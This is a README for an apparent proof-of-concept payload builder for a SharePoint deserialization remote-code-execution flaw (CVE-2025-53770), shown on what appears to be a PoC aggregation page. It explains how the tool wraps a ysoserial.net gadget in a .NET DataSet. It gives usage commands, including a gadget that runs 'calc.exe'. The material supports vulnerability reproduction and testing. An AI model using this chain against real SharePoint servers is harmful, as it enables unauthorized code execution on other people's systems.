来源

关联漏洞

介绍

# OurSharePoint - CVE-2025-53770 (PoC)

This is a simple C# tool that builds a GZipped, Base64-encoded .NET DataSet payload using a LosFormatter-encoded inner payload. It's designed to help reproduce the SharePoint deserialization RCE chain described in public research.

---
## What it does

You give it a Base64-encoded payload (like one from ysoserial.net), and it:

- Wraps it inside a valid .NET DataSet with a custom XML schema + diffgram
- Serializes the result using BinaryFormatter
- GZips the serialized blob
- Base64-encodes the result and writes it to a `.b64` file
---
## References

- https://research.eye.security/sharepoint-under-siege/
- https://github.com/rapid7/metasploit-framework/pull/20409/commits
---
## Usage

First, generate your payload using [ysoserial.net](https://github.com/pwntester/ysoserial.net):

```bash
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > nested_gadget.b64
```

Then run this tool:
```bash
OurSharePointBuilder.exe --in=nested_gadget.b64 --out=exploit --a=<random> --b=<random> --c=<random>
```
This will generate:

- exploit.bin - a raw serialized DataSet
- exploit.b64 - final GZipped and Base64-encoded payload thats ready for us

Also, if you dont specify `--a`, `--b`, or `--c`, the tool generates random lowercase names.

Notes

    This tool does not validate or inspect the payload you give it.

    If you're testing locally and deserialize manually, it may execute (e.g., pop calc).

文件快照

 [4.0K]  /data/pocs/1b4c107b4521c73dc994167428b03657d5994dbc
├── [4.0K]  OurSharePoint
│   ├── [ 182]  App.config
│   ├── [2.3K]  OurSharePoint.csproj
│   ├── [5.8K]  Program.cs
│   └── [4.0K]  Properties
│       └── [1.2K]  AssemblyInfo.cs
├── [1.1K]  OurSharePoint.sln
└── [1.4K]  README.md

2 directories, 6 files

备注